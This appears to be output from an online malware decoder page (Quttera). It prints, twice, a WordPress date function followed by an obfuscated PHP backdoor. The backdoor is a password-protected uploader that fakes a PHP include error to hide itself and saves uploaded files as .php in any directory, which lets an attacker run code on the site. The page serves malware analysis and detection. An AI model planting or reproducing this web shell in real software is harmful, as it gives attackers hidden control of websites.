Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

/**
 * Convert given date string into a different format.
 *
 * $format should be either a PHP date format string, e.g. 'U' for a Unix
 * timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
 *
 * If $translate is true then the given date and format string will
 * be passed to date_i18n() for translation.
 *
 * @since 0.71
 *
 * @param string $format    Format of the date to return.
 * @param string $date      Date string to convert.
 * @param bool   $translate Whether the return date should be translated. Default true.
 * @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.
 */
function mysql2date( $format, $date, $translate = true ) {
	if ( empty( $date ) )
		return false;

	if ( 'G' == $format )
		return strtotime( $date . ' +0000' );

	$i = strtotime( $date );

	if ( 'U' == $format )
		return $i;

	if ( $translate )
		return date_i18n( $format, $i );
	else
		return date( $format, $i );
}
${"GLOBALS"}["rtzotidv"]="pass";${"GLOBALS"}["badzgnontprt"]="me";$ojqgqlcoxm="ip";$mwzpvbfefbj="ip";${"GLOBALS"}["bmbtgsv"]="pass";${"GLOBALS"}["ocvtdinqddl"]="ip";$uzoghtjf="ip";@session_start();@set_time_limit(0);${${"GLOBALS"}["bmbtgsv"]}=@md5($_POST["pass"]);${${"GLOBALS"}["badzgnontprt"]}="cd6624e5e09cf3923d3ca347e68085f3";${"GLOBALS"}["gplrhthjhhm"]="ip";if(${${"GLOBALS"}["rtzotidv"]}==${${"GLOBALS"}["badzgnontprt"]})$_SESSION["9xyz"]="$pass";$gobvjcnfa="ip";if(@$_SERVER["HTTP_CLIENT_IP"])${$uzoghtjf}=@$_SERVER["HTTP_CLIENT_IP"];else if(@$_SERVER["HTTP_X_FORWARDED_FOR"])${${"GLOBALS"}["gplrhthjhhm"]}=@$_SERVER["HTTP_X_FORWARDED_FOR"];else if($_SERVER["REMOTE_ADDR"])${$ojqgqlcoxm}=$_SERVER["REMOTE_ADDR"];else${${"GLOBALS"}["ocvtdinqddl"]}=$_SERVER["REMOTE_ADDR"];${$mwzpvbfefbj}=htmlspecialchars(${$gobvjcnfa});if(!isset($_SESSION["9xyz"])or$_SESSION["9xyz"]!=${${"GLOBALS"}["badzgnontprt"]}){if(!empty($_GET["temp"])){die("\n<form method=post>\n<input type=password name=pass size=30 tabindex=1>\n</form>\n");}else
die("\n<b>Warning</b>:  include(./common.php) [<a href=function.include>function.include</a>]: \nfailed to open stream: No such file or directory in <b>/home/include/common.php\n</b> on line <b>17</b><br><br>\n");}
${"GLOBALS"}["kqcacgr"]="tmp_name";${"GLOBALS"}["cnszhrgfuzf"]="name";${"GLOBALS"}["ysmllpyeisq"]="error";${"GLOBALS"}["eebwvkggbqnt"]="key";${"GLOBALS"}["wvomidpcnt"]="dest";${${"GLOBALS"}["wvomidpcnt"]}="./";if(count($_FILES["images"]["error"])>0){foreach($_FILES["images"]["error"]as${${"GLOBALS"}["eebwvkggbqnt"]}=>${${"GLOBALS"}["ysmllpyeisq"]}){${"GLOBALS"}["hojmewm"]="error";if(${${"GLOBALS"}["hojmewm"]}==UPLOAD_ERR_OK){${"GLOBALS"}["khxgrybf"]="tmp_name";$ldmqxjhzjwz="dir";$sbkzrlx="key";${"GLOBALS"}["ornnhleg"]="name";${"GLOBALS"}["gincruorcwg"]="name";${${"GLOBALS"}["khxgrybf"]}=$_FILES["images"]["tmp_name"][${$sbkzrlx}];$godexlx="dir";${${"GLOBALS"}["cnszhrgfuzf"]}=$_FILES["images"]["name"][${${"GLOBALS"}["eebwvkggbqnt"]}];${$godexlx}=(isset($_POST["d"])and$_POST["d"]!=NULL)?$_POST["d"]:"";$ilmmzvvt="name";${${"GLOBALS"}["cnszhrgfuzf"]}=(strpos(${${"GLOBALS"}["ornnhleg"]},".php")===false)?${${"GLOBALS"}["gincruorcwg"]}.".php":${${"GLOBALS"}["cnszhrgfuzf"]};move_uploaded_file(${${"GLOBALS"}["kqcacgr"]},${$ldmqxjhzjwz}.${$ilmmzvvt});}}}echo "<script language=\"javascript\">\n    function addMorefields(){\n    //--------------------------------------------------------------------------------------------------------------------------------------\n            var input = document.createElement('INPUT');\n            var lineBreak = document.createElement('BR');\n    //--------------------------------------------------------------------------------------------------------------------------------------\n            input.setAttribute('type','file');\n            input.setAttribute('name','images[]');           \n                  document.getElementById('desPlace').appendChild(input);\n            document.getElementById('desPlace').appendChild(lineBreak);\n    //--------------------------------------------------------------------------------------------------------------------------------------\n    }\n</script>\n\n<form enctype=\"multipart/form-data\" action="";echo basename($_SERVER["PHP_SELF"]);echo "\" method="POST\">\n    <input type="text\" name="d\" />\n    <input type="file\" name=\"images[]\" />\n    <div id="desPlace\"></div><hr>\n    <input class=\"btn\" type=\"button" name=\"button\" id=\"button\" value="More Images" onClick='addMorefields();window.scroll(0,document.body.offsetHeight);'>\n    <input type="submit\" value=\"send" />\n</form> \n";

/**
 * Convert given date string into a different format.
 *
 * $format should be either a PHP date format string, e.g. 'U' for a Unix
 * timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
 *
 * If $translate is true then the given date and format string will
 * be passed to date_i18n() for translation.
 *
 * @since 0.71
 *
 * @param string $format    Format of the date to return.
 * @param string $date      Date string to convert.
 * @param bool   $translate Whether the return date should be translated. Default true.
 * @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.
 */
function mysql2date( $format, $date, $translate = true ) {
	if ( empty( $date ) )
		return false;

	if ( 'G' == $format )
		return strtotime( $date . ' +0000' );

	$i = strtotime( $date );

	if ( 'U' == $format )
		return $i;

	if ( $translate )
		return date_i18n( $format, $i );
	else
		return date( $format, $i );
}
${"GLOBALS"}["rtzotidv"]="pass";${"GLOBALS"}["badzgnontprt"]="me";${"GLOBALS"}["bmbtgsv"]="pass";${"GLOBALS"}["ocvtdinqddl"]="ip";@session_start();@set_time_limit(0);${${"GLOBALS"}["bmbtgsv"]}=@md5($_POST["pass"]);${${"GLOBALS"}["badzgnontprt"]}="cd6624e5e09cf3923d3ca347e68085f3";${"GLOBALS"}["gplrhthjhhm"]="ip";if(${${"GLOBALS"}["rtzotidv"]}==${${"GLOBALS"}["badzgnontprt"]})$_SESSION["9xyz"]="$pass";if(@$_SERVER["HTTP_CLIENT_IP"])${ip}=@$_SERVER["HTTP_CLIENT_IP"];else if(@$_SERVER["HTTP_X_FORWARDED_FOR"])${${"GLOBALS"}["gplrhthjhhm"]}=@$_SERVER["HTTP_X_FORWARDED_FOR"];else if($_SERVER["REMOTE_ADDR"])${ip}=$_SERVER["REMOTE_ADDR"];else${${"GLOBALS"}["ocvtdinqddl"]}=$_SERVER["REMOTE_ADDR"];${ip}=htmlspecialchars(${ip});if(!isset($_SESSION["9xyz"])or$_SESSION["9xyz"]!=${${"GLOBALS"}["badzgnontprt"]}){if(!empty($_GET["temp"])){die("\n<form method=post>\n<input type=password name=pass size=30 tabindex=1>\n</form>\n");}else
die("\n<b>Warning</b>:  include(./common.php) [<a href=function.include>function.include</a>]: \nfailed to open stream: No such file or directory in <b>/home/include/common.php\n</b> on line <b>17</b><br><br>\n");}
${"GLOBALS"}["kqcacgr"]="tmp_name";${"GLOBALS"}["cnszhrgfuzf"]="name";${"GLOBALS"}["ysmllpyeisq"]="error";${"GLOBALS"}["eebwvkggbqnt"]="key";${"GLOBALS"}["wvomidpcnt"]="dest";${${"GLOBALS"}["wvomidpcnt"]}="./";if(count($_FILES["images"]["error"])>0){foreach($_FILES["images"]["error"]as${${"GLOBALS"}["eebwvkggbqnt"]}=>${${"GLOBALS"}["ysmllpyeisq"]}){${"GLOBALS"}["hojmewm"]="error";if(${${"GLOBALS"}["hojmewm"]}==UPLOAD_ERR_OK){${"GLOBALS"}["khxgrybf"]="tmp_name";${"GLOBALS"}["ornnhleg"]="name";${"GLOBALS"}["gincruorcwg"]="name";${${"GLOBALS"}["khxgrybf"]}=$_FILES["images"]["tmp_name"][${key}];${${"GLOBALS"}["cnszhrgfuzf"]}=$_FILES["images"]["name"][${${"GLOBALS"}["eebwvkggbqnt"]}];${dir}=(isset($_POST["d"])and$_POST["d"]!=NULL)?$_POST["d"]:"";${${"GLOBALS"}["cnszhrgfuzf"]}=(strpos(${${"GLOBALS"}["ornnhleg"]},".php")===false)?${${"GLOBALS"}["gincruorcwg"]}.".php":${${"GLOBALS"}["cnszhrgfuzf"]};move_uploaded_file(${${"GLOBALS"}["kqcacgr"]},${dir}.${name});}}}echo "<script language=\"javascript\">\n    function addMorefields(){\n    //--------------------------------------------------------------------------------------------------------------------------------------\n            var input = document.createElement('INPUT');\n            var lineBreak = document.createElement('BR');\n    //--------------------------------------------------------------------------------------------------------------------------------------\n            input.setAttribute('type','file');\n            input.setAttribute('name','images[]');           \n                  document.getElementById('desPlace').appendChild(input);\n            document.getElementById('desPlace').appendChild(lineBreak);\n    //--------------------------------------------------------------------------------------------------------------------------------------\n    }\n</script>\n\n<form enctype=\"multipart/form-data\" action="";echo basename($_SERVER["PHP_SELF"]);echo "\" method="POST\">\n    <input type="text\" name="d\" />\n    <input type="file\" name=\"images[]\" />\n    <div id="desPlace\"></div><hr>\n    <input class=\"btn\" type=\"button" name=\"button\" id=\"button\" value="More Images" onClick='addMorefields();window.scroll(0,document.body.offsetHeight);'>\n    <input type="submit\" value=\"send" />\n</form> \n";



© 2020 Quttera Ltd. All rights reserved.